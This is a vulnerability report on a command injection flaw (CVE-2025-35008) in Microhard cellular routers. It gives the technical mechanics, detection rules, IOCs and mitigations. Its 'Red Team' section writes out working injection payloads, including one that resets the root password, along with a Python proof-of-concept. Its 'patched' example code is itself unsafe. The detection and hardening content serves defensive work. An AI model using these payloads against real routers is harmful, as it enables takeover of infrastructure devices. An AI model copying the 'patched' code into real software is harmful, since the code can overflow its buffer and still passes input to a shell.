CVE-2025-35008
Executive Summary
CVE-2025-35008 is a post-authentication command injection vulnerability in the AT+MMNAME command of Microhard BulletLTE-NA2 and IPn4Gii-NA2 cellular routers. An authenticated attacker with low privileges can inject arbitrary operating system commands by manipulating argument delimiters, leading to privilege escalation and full compromise of the device’s confidentiality and integrity. The vulnerability is classified as CWE-88 (Improper Neutralization of Argument Delimiters in a Command) and carries a CVSS score of 7.1 (High). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. This report provides a deep technical analysis, detection rules, and mitigation guidance for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Base Score: 7.1 (High)
- Attack Vector: Local (AV:L) – requires authenticated access to the device’s command interface.
- Attack Complexity: Low (AC:L) – no special conditions needed beyond authentication.
- Privileges Required: Low (PR:L) – attacker needs a valid low-privilege account.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – full read access to device files and network traffic.
- Integrity Impact: High (I:H) – ability to modify system files, firmware, or configurations.
- Availability Impact: None (A:N) – no direct denial-of-service impact.
Threat Level: High. Although the attack requires local authentication, many Microhard devices are deployed in critical infrastructure (SCADA, remote telemetry, industrial IoT) where default credentials are often unchanged or weak. Successful exploitation can lead to lateral movement, data exfiltration, or persistent backdoor installation.
Deep Dive & Mechanics
The vulnerability resides in the AT command handler for AT+MMNAME, which is used to set or retrieve the modem’s manufacturer name. The command parser fails to properly sanitize argument delimiters (e.g., spaces, semicolons, or newline characters) before passing the user-supplied string to the underlying shell. This allows an authenticated attacker to inject arbitrary shell commands by appending command separators such as ;, |, or && after the intended argument.
Root Cause (CWE-88): The software does not neutralize special elements that modify the intended command structure. In this case, the AT+MMNAME command expects a single string argument, but the parser does not escape or reject characters that terminate the argument and start a new command.
Attack Flow:
- Attacker authenticates to the device’s web interface or serial console with low-privilege credentials.
- Attacker sends a crafted AT command:
AT+MMNAME=test;id - The device executes
idas a separate command, revealing the current user (likely root). - Attacker can then execute arbitrary commands to escalate privileges, install malware, or exfiltrate data.
Affected Components:
- Microhard BulletLTE-NA2 (all firmware versions prior to any patch)
- Microhard IPn4Gii-NA2 (all firmware versions prior to any patch)
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual C):
void handle_AT_MMNAME(char *input) {
char cmd[256];
snprintf(cmd, sizeof(cmd), "echo %s > /tmp/mmname", input);
system(cmd); // No sanitization of input
}
Patched Code (Conceptual C):
void handle_AT_MMNAME(char *input) {
char sanitized[256];
// Remove or escape shell metacharacters
for (int i = 0; input[i] != '\0'; i++) {
if (input[i] == ';' || input[i] == '|' || input[i] == '&' || input[i] == '`' || input[i] == '$') {
sanitized[i] = '_'; // Replace with safe character
} else {
sanitized[i] = input[i];
}
}
sanitized[strlen(input)] = '\0';
char cmd[256];
snprintf(cmd, sizeof(cmd), "echo %s > /tmp/mmname", sanitized);
system(cmd);
}
Key Difference: The patched version sanitizes the input by replacing shell metacharacters with underscores, preventing command injection. The vulnerable version passes the input directly to system().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Microhard BulletLTE-NA2 or IPn4Gii-NA2 device with a low-privilege account (e.g.,
user/user). - Network connectivity to the device’s management interface (typically port 80/443 or serial console).
Exploitation Steps:
- Authenticate to the device (e.g., via web login or SSH).
- Send the malicious AT command using a serial terminal or HTTP POST to the AT command endpoint:
AT+MMNAME=test;id - Observe the output of
id(e.g.,uid=0(root) gid=0(root)), confirming privilege escalation. - Execute further commands to establish persistence:
AT+MMNAME=test;echo 'root:newpass' | chpasswd
Example Python Script (Proof-of-Concept):
import socket
def exploit(host, port, username, password):
s = socket.socket()
s.connect((host, port))
# Authenticate (simplified - actual implementation depends on protocol)
s.send(b"AT+LOGIN=" + username.encode() + b"," + password.encode() + b"\r\n")
# Send malicious command
s.send(b"AT+MMNAME=test;id\r\n")
response = s.recv(4096)
print(response.decode())
s.close()
if __name__ == "__main__":
exploit("192.168.1.1", 23, "user", "user")
Note: No public exploit code exists; this is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor AT command logs for unusual patterns, especially
;,|,&&, or$()in theAT+MMNAMEparameter. - Deploy network-based detection rules (see Suricata below) to alert on suspicious AT command sequences.
- Enable syslog forwarding from the device to a SIEM for centralized monitoring.
Hardening:
- Change default credentials immediately.
- Restrict management interface access to trusted IPs only.
- Disable unused services (e.g., Telnet, serial console).
- Apply vendor patch when available; until then, consider replacing the device or implementing a WAF in front of the management interface.
Indicators of Compromise (IOCs)
- Network IOCs:
- AT commands containing shell metacharacters in the
MMNAMEparameter (e.g.,AT+MMNAME=test;id) - Outbound connections from the device to unknown IPs on non-standard ports (e.g., 4444, 31337)
- AT commands containing shell metacharacters in the
- Host IOCs:
- Unexpected processes running as root (e.g.,
/bin/sh,nc,python) - Modified
/etc/passwdor/etc/shadowfiles - Presence of files in
/tmp/with suspicious names (e.g.,.persist,backdoor.sh)
- Unexpected processes running as root (e.g.,
- Log IOCs:
- Repeated authentication failures followed by successful login from unusual IPs
- AT command logs showing
MMNAMEwith embedded shell commands
Detection Engineering
YARA Rule
rule CVE_2025_35008_AT_MMNAME_Injection {
meta:
description = "Detects AT+MMNAME command injection attempts targeting Microhard devices"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-35008"
strings:
$cmd1 = "AT+MMNAME=" ascii wide nocase
$shell1 = /[;|&`$()]/ ascii wide
condition:
$cmd1 and $shell1
}
Sigma Rule
title: Microhard AT+MMNAME Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-35008 via AT command injection
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: microhard
detection:
selection:
Command: "AT+MMNAME=*"
Command|contains:
- ';'
- '|'
- '&&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of semicolons in MMNAME (unlikely)
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2025-35008 Microhard AT+MMNAME Command Injection"; flow:to_server,established; content:"AT+MMNAME="; nocase; pcre:"/AT\+MMNAME=[^;]*[;|&`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change all default credentials on Microhard devices to strong, unique passwords.
- Restrict management access to trusted IP addresses only (firewall rules).
- Disable Telnet and serial console if not required; use SSH with key-based authentication.
- Monitor logs for suspicious AT command activity.
Long-Term Fix:
- Apply vendor firmware patch when released. If no patch is forthcoming, consider replacing the device with a patched alternative.
- Implement a reverse proxy or WAF that inspects and sanitizes AT command traffic.
- Segment Microhard devices into a separate VLAN with strict egress filtering.
Workaround:
- If the device supports it, disable the
AT+MMNAMEcommand via configuration or ACL. - Use a script to periodically audit the device for unauthorized changes.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-35008
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.